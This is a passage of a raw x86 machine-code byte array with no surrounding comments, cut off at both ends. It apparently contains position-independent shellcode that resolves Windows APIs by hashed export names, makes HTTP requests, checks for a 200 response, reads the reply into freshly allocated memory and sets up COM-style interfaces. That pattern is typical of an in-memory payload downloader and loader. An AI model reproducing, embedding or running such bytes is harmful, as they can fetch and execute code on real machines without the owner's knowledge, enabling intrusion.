0x00, 0x81, 0xe9, 0x75, 0x30, 0x40, 0x00, 0x03, 0xc1, 0x50, 0x55, 0xe8,
|
||||
0x3d, 0x1f, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50,
|
||||
0xff, 0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x8d, 0x86, 0x90,
|
||||
0x05, 0x00, 0x00, 0x50, 0x53, 0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed,
|
||||
0x74, 0x49, 0xbf, 0x47, 0x30, 0x40, 0x00, 0xbb, 0x38, 0x30, 0x40, 0x00,
|
||||
0x2b, 0xfb, 0x78, 0x3b, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57,
|
||||
0x55, 0xff, 0x56, 0x48, 0x85, 0xc0, 0x74, 0x2b, 0x57, 0xe8, 0x7f, 0x1a,
|
||||
0x00, 0x00, 0x81, 0xeb, 0x75, 0x30, 0x40, 0x00, 0x03, 0xc3, 0x50, 0x55,
|
||||
0xe8, 0xe8, 0x1e, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10,
|
||||
0x50, 0xff, 0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x33, 0xc0,
|
||||
0x40, 0xeb, 0x02, 0x33, 0xc0, 0x5f, 0x5d, 0x5e, 0x5b, 0x59, 0xc3, 0x81,
|
||||
0xec, 0x58, 0x02, 0x00, 0x00, 0x53, 0x56, 0x57, 0x6a, 0x3c, 0x5e, 0x33,
|
||||
0xff, 0x8d, 0x44, 0x24, 0x28, 0x56, 0x57, 0x50, 0x89, 0x7c, 0x24, 0x1c,
|
||||
0xbb, 0x00, 0x02, 0x60, 0x84, 0xe8, 0xcb, 0x1e, 0x00, 0x00, 0x8d, 0x44,
|
||||
0x24, 0x70, 0x89, 0x74, 0x24, 0x34, 0x8b, 0xb4, 0x24, 0x74, 0x02, 0x00,
|
||||
0x00, 0x83, 0xc4, 0x0c, 0x89, 0x44, 0x24, 0x38, 0x8d, 0x84, 0x24, 0x64,
|
||||
0x01, 0x00, 0x00, 0x89, 0x44, 0x24, 0x54, 0xb8, 0x00, 0x01, 0x00, 0x00,
|
||||
0x89, 0x44, 0x24, 0x3c, 0x89, 0x44, 0x24, 0x58, 0x8d, 0x44, 0x24, 0x28,
|
||||
0x50, 0x68, 0x00, 0x00, 0x00, 0x10, 0x57, 0x8d, 0x86, 0xe8, 0x06, 0x00,
|
||||
0x00, 0x50, 0xff, 0x96, 0x98, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84,
|
||||
0xac, 0x01, 0x00, 0x00, 0x33, 0xc0, 0x83, 0x7c, 0x24, 0x34, 0x04, 0x57,
|
||||
0x57, 0x0f, 0x94, 0xc0, 0x57, 0x89, 0x44, 0x24, 0x20, 0xb8, 0x00, 0x32,
|
||||
0xe0, 0x84, 0x57, 0x57, 0x0f, 0x44, 0xd8, 0xff, 0x96, 0x9c, 0x00, 0x00,
|
||||
0x00, 0x89, 0x44, 0x24, 0x24, 0x85, 0xc0, 0x0f, 0x84, 0x7f, 0x01, 0x00,
|
||||
0x00, 0x57, 0x57, 0x6a, 0x03, 0x57, 0x57, 0xff, 0x74, 0x24, 0x54, 0x8d,
|
||||
0x4c, 0x24, 0x7c, 0x51, 0x50, 0xff, 0x96, 0xa0, 0x00, 0x00, 0x00, 0x8b,
|
||||
0xc8, 0x89, 0x4c, 0x24, 0x20, 0x85, 0xc9, 0x0f, 0x84, 0xfb, 0x00, 0x00,
|
||||
0x00, 0x55, 0x57, 0x53, 0x57, 0x57, 0x57, 0x8d, 0x84, 0x24, 0x7c, 0x01,
|
||||
0x00, 0x00, 0x50, 0x8d, 0x86, 0xe8, 0x07, 0x00, 0x00, 0x50, 0x51, 0xff,
|
||||
0x96, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xca,
|
||||
0x00, 0x00, 0x00, 0x39, 0x7c, 0x24, 0x18, 0x74, 0x20, 0xf7, 0xc3, 0x00,
|
||||
0x10, 0x00, 0x00, 0x74, 0x18, 0x6a, 0x04, 0x8d, 0x44, 0x24, 0x20, 0xc7,
|
||||
0x44, 0x24, 0x20, 0x80, 0x33, 0x00, 0x00, 0x50, 0x6a, 0x1f, 0x55, 0xff,
|
||||
0x96, 0xa4, 0x00, 0x00, 0x00, 0x57, 0x57, 0x57, 0x57, 0x55, 0xff, 0x96,
|
||||
0xb4, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x8a, 0x00, 0x00, 0x00,
|
||||
0x57, 0x8d, 0x44, 0x24, 0x14, 0xc7, 0x44, 0x24, 0x14, 0x04, 0x00, 0x00,
|
||||
0x00, 0x50, 0x8d, 0x44, 0x24, 0x1c, 0x50, 0x68, 0x13, 0x00, 0x00, 0x20,
|
||||
0x55, 0xff, 0x96, 0xb8, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x67, 0x81,
|
||||
0x7c, 0x24, 0x14, 0xc8, 0x00, 0x00, 0x00, 0x75, 0x5d, 0x57, 0x8d, 0x44,
|
||||
0x24, 0x14, 0xc7, 0x44, 0x24, 0x14, 0x04, 0x00, 0x00, 0x00, 0x50, 0x8d,
|
||||
0x9e, 0x18, 0x09, 0x00, 0x00, 0x53, 0x68, 0x05, 0x00, 0x00, 0x20, 0x55,
|
||||
0x89, 0x3b, 0x89, 0x7b, 0x04, 0xff, 0x96, 0xb8, 0x00, 0x00, 0x00, 0x85,
|
||||
0xc0, 0x74, 0x33, 0x8b, 0x03, 0x0b, 0x43, 0x04, 0x74, 0x2c, 0x6a, 0x04,
|
||||
0x68, 0x00, 0x30, 0x00, 0x00, 0xff, 0x33, 0x57, 0xff, 0x56, 0x3c, 0x89,
|
||||
0x86, 0x20, 0x09, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x15, 0x8d, 0x4c, 0x24,
|
||||
0x20, 0x89, 0x7c, 0x24, 0x20, 0x51, 0xff, 0x33, 0x50, 0x55, 0xff, 0x96,
|
||||
0xa8, 0x00, 0x00, 0x00, 0x8b, 0xf8, 0x55, 0xff, 0x96, 0xac, 0x00, 0x00,
|
||||
0x00, 0xff, 0x74, 0x24, 0x24, 0xff, 0x96, 0xac, 0x00, 0x00, 0x00, 0x5d,
|
||||
0xff, 0x74, 0x24, 0x24, 0xff, 0x96, 0xac, 0x00, 0x00, 0x00, 0x85, 0xff,
|
||||
0x74, 0x4e, 0x83, 0xbe, 0x34, 0x02, 0x00, 0x00, 0x03, 0x75, 0x45, 0xff,
|
||||
0xb6, 0x18, 0x09, 0x00, 0x00, 0x8b, 0x9e, 0x20, 0x09, 0x00, 0x00, 0x8d,
|
||||
0x86, 0x08, 0x09, 0x00, 0x00, 0x53, 0x50, 0x8d, 0x86, 0xf8, 0x08, 0x00,
|
||||
0x00, 0x50, 0xe8, 0xd1, 0x19, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8d, 0x86,
|
||||
0xf0, 0x07, 0x00, 0x00, 0xff, 0x76, 0x28, 0x50, 0xe8, 0x99, 0x18, 0x00,
|
||||
0x00, 0x83, 0xc4, 0x1c, 0x3b, 0x83, 0x18, 0x05, 0x00, 0x00, 0x75, 0x0c,
|
||||
0x3b, 0x93, 0x1c, 0x05, 0x00, 0x00, 0x75, 0x04, 0x8b, 0xc7, 0xeb, 0x02,
|
||||
0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0x81, 0xc4, 0x58, 0x02, 0x00, 0x00, 0xc3,
|
||||
0x81, 0xec, 0xdc, 0x01, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8b, 0xb4, 0x24,
|
||||
0xf0, 0x01, 0x00, 0x00, 0x57, 0x8b, 0x6e, 0x3c, 0x8b, 0x44, 0x2e, 0x78,
|
||||
0x85, 0xc0, 0x0f, 0x84, 0xe5, 0x00, 0x00, 0x00, 0x8d, 0x3c, 0x30, 0x8b,
|
||||
0x5f, 0x18, 0x85, 0xdb, 0x0f, 0x84, 0xd7, 0x00, 0x00, 0x00, 0x8b, 0x47,
|
||||
0x1c, 0x33, 0xd2, 0x03, 0xc6, 0x89, 0x54, 0x24, 0x10, 0x89, 0x44, 0x24,
|
||||
0x24, 0x8b, 0x47, 0x20, 0x03, 0xc6, 0x89, 0x44, 0x24, 0x14, 0x8b, 0x47,
|
||||
0x24, 0x03, 0xc6, 0x89, 0x44, 0x24, 0x20, 0x8b, 0x47, 0x0c, 0x03, 0xc6,
|
||||
0x8a, 0x08, 0x84, 0xc9, 0x74, 0x2a, 0x8b, 0x74, 0x24, 0x10, 0x8d, 0x94,
|
||||
0x24, 0xe8, 0x00, 0x00, 0x00, 0x2b, 0xd0, 0x80, 0xc9, 0x20, 0x46, 0x88,
|
||||
0x0c, 0x02, 0x40, 0x8a, 0x08, 0x84, 0xc9, 0x75, 0xf2, 0x89, 0x74, 0x24,
|
||||
0x10, 0x8b, 0xb4, 0x24, 0xf4, 0x01, 0x00, 0x00, 0x8b, 0x54, 0x24, 0x10,
|
||||
0xff, 0xb4, 0x24, 0x04, 0x02, 0x00, 0x00, 0x8d, 0x84, 0x24, 0xec, 0x00,
|
||||
0x00, 0x00, 0xc6, 0x84, 0x14, 0xec, 0x00, 0x00, 0x00, 0x00, 0xff, 0xb4,
|
||||
0x24, 0x04, 0x02, 0x00, 0x00, 0x50, 0xe8, 0xcf, 0x17, 0x00, 0x00, 0x89,
|
||||
0x44, 0x24, 0x24, 0x83, 0xc4, 0x0c, 0x8b, 0x44, 0x24, 0x14, 0x83, 0xc0,
|
||||
0xfc, 0x89, 0x54, 0x24, 0x1c, 0x8d, 0x04, 0x98, 0x89, 0x44, 0x24, 0x10,
|
||||
0xff, 0xb4, 0x24, 0x04, 0x02, 0x00, 0x00, 0x8b, 0x08, 0xff, 0xb4, 0x24,
|
||||
0x04, 0x02, 0x00, 0x00, 0x03, 0xce, 0x51, 0xe8, 0x9e, 0x17, 0x00, 0x00,
|
||||
0x33, 0x44, 0x24, 0x24, 0x83, 0xc4, 0x0c, 0x33, 0x54, 0x24, 0x1c, 0x3b,
|
||||
0x84, 0x24, 0xf8, 0x01, 0x00, 0x00, 0x75, 0x09, 0x3b, 0x94, 0x24, 0xfc,
|
||||
0x01, 0x00, 0x00, 0x74, 0x1d, 0x8b, 0x44, 0x24, 0x10, 0x83, 0xe8, 0x04,
|
||||
0x89, 0x44, 0x24, 0x10, 0x83, 0xeb, 0x01, 0x75, 0xbb, 0x33, 0xc0, 0x5f,
|
||||
0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0xdc, 0x01, 0x00, 0x00, 0xc3, 0x8b, 0x44,
|
||||
0x24, 0x20, 0x8b, 0x4c, 0x24, 0x24, 0x0f, 0xb7, 0x44, 0x58, 0xfe, 0x8b,
|
||||
0x0c, 0x81, 0x03, 0xce, 0x3b, 0xcf, 0x72, 0x7d, 0x8b, 0x44, 0x2e, 0x7c,
|
||||
0x03, 0xc7, 0x3b, 0xc8, 0x73, 0x73, 0x33, 0xd2, 0x38, 0x11, 0x74, 0x1e,
|
||||
0x8d, 0x7c, 0x24, 0x28, 0x8b, 0xf1, 0x2b, 0xf9, 0x83, 0xfa, 0x3c, 0x73,
|
||||
0x11, 0x8a, 0x06, 0x88, 0x04, 0x37, 0x80, 0x3e, 0x2e, 0x74, 0x07, 0x42,
|
||||
0x46, 0x80, 0x3e, 0x00, 0x75, 0xea, 0xc7, 0x44, 0x14, 0x29, 0x64, 0x6c,
|
||||
0x6c, 0x00, 0x42, 0x03, 0xca, 0x33, 0xd2, 0x38, 0x11, 0x74, 0x17, 0x8d,
|
||||
0x74, 0x24, 0x68, 0x2b, 0xf1, 0x83, 0xfa, 0x7f, 0x73, 0x0c, 0x8a, 0x01,
|
||||
0x42, 0x88, 0x04, 0x0e, 0x41, 0x80, 0x39, 0x00, 0x75, 0xef, 0x8b, 0xb4,
|
||||
0x24, 0xf0, 0x01, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x28, 0x50, 0xc6, 0x44,
|
||||
0x14, 0x6c, 0x00, 0xff, 0x56, 0x30, 0x85, 0xc0, 0x74, 0x0d, 0x8d, 0x4c,
|
||||
0x24, 0x68, 0x51, 0x50, 0xff, 0x56, 0x34, 0x8b, 0xc8, 0xeb, 0x02, 0x33,
|
||||
0xc9, 0x8b, 0xc1, 0xe9, 0x5b, 0xff, 0xff, 0xff, 0x56, 0x8b, 0x74, 0x24,
|
||||
0x0c, 0x57, 0x33, 0xff, 0x8b, 0x4e, 0x18, 0x85, 0xc9, 0x74, 0x09, 0x8b,
|
||||
0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x18, 0x8b, 0x4e, 0x1c, 0x85,
|
||||
0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x1c,
|
||||
0x8b, 0x4e, 0x14, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50,
|
||||
0x08, 0x89, 0x7e, 0x14, 0x8b, 0x4e, 0x10, 0x85, 0xc9, 0x74, 0x09, 0x8b,
|
||||
0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x10, 0x8b, 0x4e, 0x0c, 0x85,
|
||||
0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x0c,
|
||||
0x8b, 0x4e, 0x08, 0x85, 0xc9, 0x74, 0x12, 0x8b, 0x01, 0x51, 0xff, 0x50,
|
||||
0x2c, 0x8b, 0x46, 0x08, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x89, 0x7e,
|
||||
0x08, 0x8b, 0x4e, 0x04, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff,
|
||||
0x50, 0x08, 0x89, 0x7e, 0x04, 0x8b, 0x0e, 0x85, 0xc9, 0x74, 0x08, 0x8b,
|
||||
0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x3e, 0x5f, 0x5e, 0xc3, 0x8b, 0x44,
|
||||
0x24, 0x04, 0x83, 0xc0, 0x10, 0xf0, 0xff, 0x00, 0x8b, 0x00, 0xc2, 0x04,
|
||||
0x00, 0xb8, 0x01, 0x40, 0x00, 0x80, 0xc2, 0x0c, 0x00, 0xb8, 0x01, 0x40,
|
||||
0x00, 0x80, 0xc2, 0x10, 0x00, 0x8b, 0x44, 0x24, 0x04, 0xff, 0x74, 0x24,
|
||||
0x18, 0xff, 0x74, 0x24, 0x14, 0x8b, 0x40, 0x08, 0xff, 0x74, 0x24, 0x14,
|
||||
0x50, 0x8b, 0x08, 0xff, 0x51, 0x28, 0xc2, 0x18, 0x00, 0xb8, 0x01, 0x40,
|
||||
0x00, 0x80, 0xc2, 0x14, 0x00, 0x57, 0x8b, 0x7c, 0x24, 0x14, 0x85, 0xff,
|
||||
0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x16, 0x56, 0x8b, 0x74,
|
||||
0x24, 0x0c, 0x8b, 0x46, 0x08, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x04, 0x8b,
|
||||
0x46, 0x08, 0x89, 0x07, 0x33, 0xc0, 0x5e, 0x5f, 0xc2, 0x10, 0x00, 0x8b,
|
||||
0x44, 0x24, 0x08, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80,
|
||||
0xeb, 0x08, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc2, 0x08,
|
||||
0x00, 0x55, 0x8b, 0xec, 0xff, 0x75, 0x28, 0x8b, 0x45, 0x08, 0xff, 0x75,
|
||||
0x24, 0xff, 0x75, 0x20, 0x8b, 0x48, 0x08, 0xff, 0x75, 0x1c, 0xff, 0x75,
|
||||
0x18, 0x8b, 0x11, 0xff, 0x75, 0x0c, 0x50, 0x51, 0xff, 0x52, 0x2c, 0x5d,
|
||||
0xc2, 0x24, 0x00, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x04, 0x02, 0x00, 0x00,
|
||||
0x53, 0x56, 0x57, 0xe8, 0x2d, 0x15, 0x00, 0x00, 0x8b, 0x75, 0x0c, 0xb9,
|
||||
0xd2, 0x1d, 0x40, 0x00, 0xbf, 0x75, 0x30, 0x40, 0x00, 0x2b, 0xcf, 0x03,
|
||||
0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8, 0x13, 0x15, 0x00, 0x00, 0xb9, 0x8a,
|
||||
0x1a, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x04,
|
||||
0xe8, 0x00, 0x15, 0x00, 0x00, 0xb9, 0x5b, 0x1e, 0x40, 0x00, 0x2b, 0xcf,
|
||||
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x08, 0xe8, 0xed, 0x14, 0x00, 0x00,
|
||||
0xb9, 0xf7, 0x1a, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89,
|
||||
0x48, 0x0c, 0xe8, 0xda, 0x14, 0x00, 0x00, 0xb9, 0xcd, 0x1a, 0x40, 0x00,
|
||||
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x10, 0xe8, 0xc7, 0x14,
|
||||
0x00, 0x00, 0xb9, 0xa9, 0x1a, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b,
|
||||
0x06, 0x89, 0x48, 0x14, 0xe8, 0xb4, 0x14, 0x00, 0x00, 0xb9, 0x11, 0x1b,
|
||||
0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x18, 0xe8,
|
||||
0xa1, 0x14, 0x00, 0x00, 0xb9, 0x0c, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03,
|
||||
0xc8, 0x8b, 0x06, 0x89, 0x48, 0x1c, 0xe8, 0x8e, 0x14, 0x00, 0x00, 0xb9,
|
||||
0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48,
|
||||
0x20, 0xe8, 0x7b, 0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b,
|
||||
0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x24, 0xe8, 0x68, 0x14, 0x00,
|
||||
0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
|
||||
0x89, 0x48, 0x28, 0xe8, 0x55, 0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40,
|
||||
0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x2c, 0xe8, 0x42,
|
||||
0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8,
|
||||
0x8b, 0x06, 0x89, 0x48, 0x30, 0xe8, 0x2f, 0x14, 0x00, 0x00, 0xb9, 0x43,
|
||||
0x1e, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x34,
|
||||
0xe8, 0x1c, 0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf,
|
||||
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x38, 0xe8, 0x09, 0x14, 0x00, 0x00,
|
||||
0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89,
|
||||
0x48, 0x3c, 0xe8, 0xf6, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00,
|
||||
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x40, 0xe8, 0xe3, 0x13,
|
||||
0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b,
|
||||
0x06, 0x89, 0x48, 0x44, 0xe8, 0xd0, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11,
|
||||
0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x48, 0xe8,
|
||||
0xbd, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03,
|
||||
0xc8, 0x8b, 0x06, 0x89, 0x48, 0x4c, 0xe8, 0xaa, 0x13, 0x00, 0x00, 0xb9,
|
||||
0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48,
|
||||
0x50, 0xe8, 0x97, 0x13, 0x00, 0x00, 0xb9, 0xa1, 0x1a, 0x40, 0x00, 0x2b,
|
||||
0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x54, 0xe8, 0x84, 0x13, 0x00,
|
||||
0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
|
||||
0x89, 0x48, 0x58, 0xe8, 0x71, 0x13, 0x00, 0x00, 0xb9, 0xc5, 0x1a, 0x40,
|
||||
0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x5c, 0xe8, 0x5e,
|
||||
0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8,
|
||||
0x8b, 0x06, 0x89, 0x48, 0x60, 0xe8, 0x4b, 0x13, 0x00, 0x00, 0xb9, 0x6b,
|
||||
0x1e, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x64,
|
||||
0xe8, 0x38, 0x13, 0x00, 0x00, 0xb9, 0x99, 0x1a, 0x40, 0x00, 0x2b, 0xcf,
|
||||
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x68, 0xe8, 0x25, 0x13, 0x00, 0x00,
|
||||
0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89,
|
||||
0x48, 0x6c, 0xe8, 0x12, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00,
|
||||
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x70, 0xe8, 0xff, 0x12,
|
||||
0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x8b, 0x7d, 0x08,
|
||||
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x74, 0x8d, 0x85, 0xfc, 0xfd, 0xff,
|
||||
0xff, 0x83, 0x66, 0x10, 0x00, 0x50, 0x8d, 0x87, 0xe8, 0x05, 0x00, 0x00,
|
||||
0x89, 0x7e, 0x14, 0x50, 0x57, 0xe8, 0xb8, 0x12, 0x00, 0x00, 0x83, 0xc4,
|
||||
0x0c, 0x8d, 0x5e, 0x04, 0x8d, 0x85, 0xfc, 0xfd, 0xff, 0xff, 0x53, 0x50,
|
||||
0xff, 0x97, 0x94, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x13, 0x8b, 0x0b,
|
||||
0x8d, 0x46, 0x08, 0x50, 0x8d, 0x87, 0x84, 0x06, 0x00, 0x00, 0x50, 0x8b,
|
||||
0x11, 0x51, 0xff, 0x52, 0x18, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x54,
|
||||
0x24, 0x0c, 0x85, 0xd2, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb,
|
||||
0x5f, 0x53, 0x8b, 0x5c, 0x24, 0x0c, 0x33, 0xc9, 0x56, 0x8b, 0x74, 0x24,
|
||||
0x0c, 0x57, 0x8b, 0x7e, 0x14, 0x8b, 0x84, 0x8f, 0xf4, 0x05, 0x00, 0x00,
|
||||
0x3b, 0x04, 0x8b, 0x75, 0x08, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, 0xeb,
|
||||
0x2a, 0x33, 0xc9, 0x8b, 0x84, 0x8f, 0x04, 0x06, 0x00, 0x00, 0x3b, 0x04,
|
||||
0x8b, 0x75, 0x08, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, 0xeb, 0x14, 0x33,
|
||||
0xc9, 0x8b, 0x84, 0x8f, 0x84, 0x06, 0x00, 0x00, 0x3b, 0x04, 0x8b, 0x75,
|
||||
0x0c, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, 0x89, 0x32, 0x33, 0xc0, 0xeb,
|
||||
0x08, 0x83, 0x22, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e, 0x5b,
|
||||
0xc2, 0x0c, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x6a, 0x00, 0x6a, 0x00, 0x6a,
|
||||
0xfd, 0x8b, 0x40, 0x0c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x38, 0x33, 0xc0,
|
||||
0xc2, 0x08, 0x00, 0x8b, 0x4c, 0x24, 0x04, 0x83, 0xc8, 0xff, 0xf0, 0x0f,
|
||||
0xc1, 0x41, 0x10, 0x48, 0xc2, 0x04, 0x00, 0x8b, 0x44, 0x24, 0x04, 0xff,
|
||||
0x74, 0x24, 0x08, 0x8b, 0x40, 0x14, 0xff, 0x50, 0x4c, 0x33, 0xc0, 0xc2,
|
||||
0x08, 0x00, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x56,
|
||||
0x8b, 0x75, 0x08, 0x57, 0x81, 0xc6, 0x6c, 0x04, 0x00, 0x00, 0x8a, 0x0e,
|
||||
0x33, 0xc0, 0x84, 0xc9, 0x74, 0x3f, 0x8d, 0x7d, 0x80, 0x8b, 0xd6, 0x2b,
|
||||
0xfe, 0x80, 0xf9, 0x3b, 0x74, 0x12, 0x3d, 0x80, 0x00, 0x00, 0x00, 0x7d,
|
||||
0x0b, 0x88, 0x0c, 0x17, 0x40, 0x42, 0x8a, 0x0a, 0x84, 0xc9, 0x75, 0xe9,
|
||||
0x85, 0xc0, 0x74, 0x1d, 0xff, 0x75, 0x0c, 0x46, 0xc6, 0x44, 0x05, 0x80,
|
||||
0x00, 0x03, 0xf0, 0x8d, 0x45, 0x80, 0x50, 0xe8, 0x56, 0x16, 0x00, 0x00,
|
||||
0x59, 0x59, 0x85, 0xc0, 0x75, 0xbc, 0x40, 0xeb, 0x02, 0x33, 0xc0, 0x5f,
|
||||
0x5e, 0xc9, 0xc3, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x1c, 0x83, 0x7d, 0x0c,
|
||||
0x00, 0x74, 0x31, 0x6a, 0x1c, 0x8d, 0x45, 0xe4, 0x50, 0x8b, 0x45, 0x08,
|
||||
0xff, 0x75, 0x0c, 0xff, 0x50, 0x44, 0x83, 0xf8, 0x1c, 0x75, 0x1d, 0x81,
|
||||
0x7d, 0xf4, 0x00, 0x10, 0x00, 0x00, 0x75, 0x14, 0x81, 0x7d, 0xfc, 0x00,
|
||||
0x00, 0x02, 0x00, 0x75, 0x0b, 0x83, 0x7d, 0xf8, 0x04, 0x75, 0x05, 0x33,
|
||||
0xc0, 0x40, 0xc9, 0xc3, 0x33, 0xc0, 0xc9, 0xc3, 0x81, 0xec, 0x10, 0x02,
|
||||
0x00, 0x00, 0x53, 0x8b, 0x9c, 0x24, 0x18, 0x02, 0x00, 0x00, 0x33, 0xc0,
|
||||
0x21, 0x44, 0x24, 0x04, 0x55, 0x8b, 0xac, 0x24, 0x24, 0x02, 0x00, 0x00,
|
||||
0x8b, 0x8b, 0xc0, 0x00, 0x00, 0x00, 0x56, 0x57, 0x85, 0xc9, 0x0f, 0x84,
|
||||
0xbd, 0x01, 0x00, 0x00, 0x55, 0x8d, 0x83, 0x24, 0x06, 0x00, 0x00, 0x50,
|
||||
0x8d, 0x83, 0x14, 0x06, 0x00, 0x00, 0x50, 0xff, 0xd1, 0x8b, 0xb4, 0x24,
|
||||
0x28, 0x02, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0x7b, 0x01, 0x00, 0x00,
|
||||
0x8d, 0x44, 0x24, 0x20, 0x50, 0x8d, 0x46, 0x0c, 0x50, 0x53, 0xe8, 0xdf,
|
||||
0x10, 0x00, 0x00, 0x8b, 0x55, 0x00, 0x8d, 0x7d, 0x04, 0x83, 0xc4, 0x0c,
|
||||
0x8d, 0x83, 0x34, 0x06, 0x00, 0x00, 0x8b, 0x0a, 0x57, 0x50, 0x8d, 0x44,
|
||||
0x24, 0x28, 0x50, 0x52, 0xff, 0x51, 0x0c, 0x85, 0xc0, 0x78, 0x38, 0x8b,
|
||||
0x07, 0x8d, 0x54, 0x24, 0x14, 0x52, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x28,
|
||||
0x85, 0xc0, 0x0f, 0x88, 0x3b, 0x01, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x14,
|
||||
0x00, 0x74, 0x1f, 0x8b, 0x0f, 0x8d, 0x45, 0x08, 0x50, 0x8d, 0x83, 0x54,
|
||||
0x06, 0x00, 0x00, 0x50, 0x8b, 0x11, 0x8d, 0x83, 0x44, 0x06, 0x00, 0x00,
|
||||
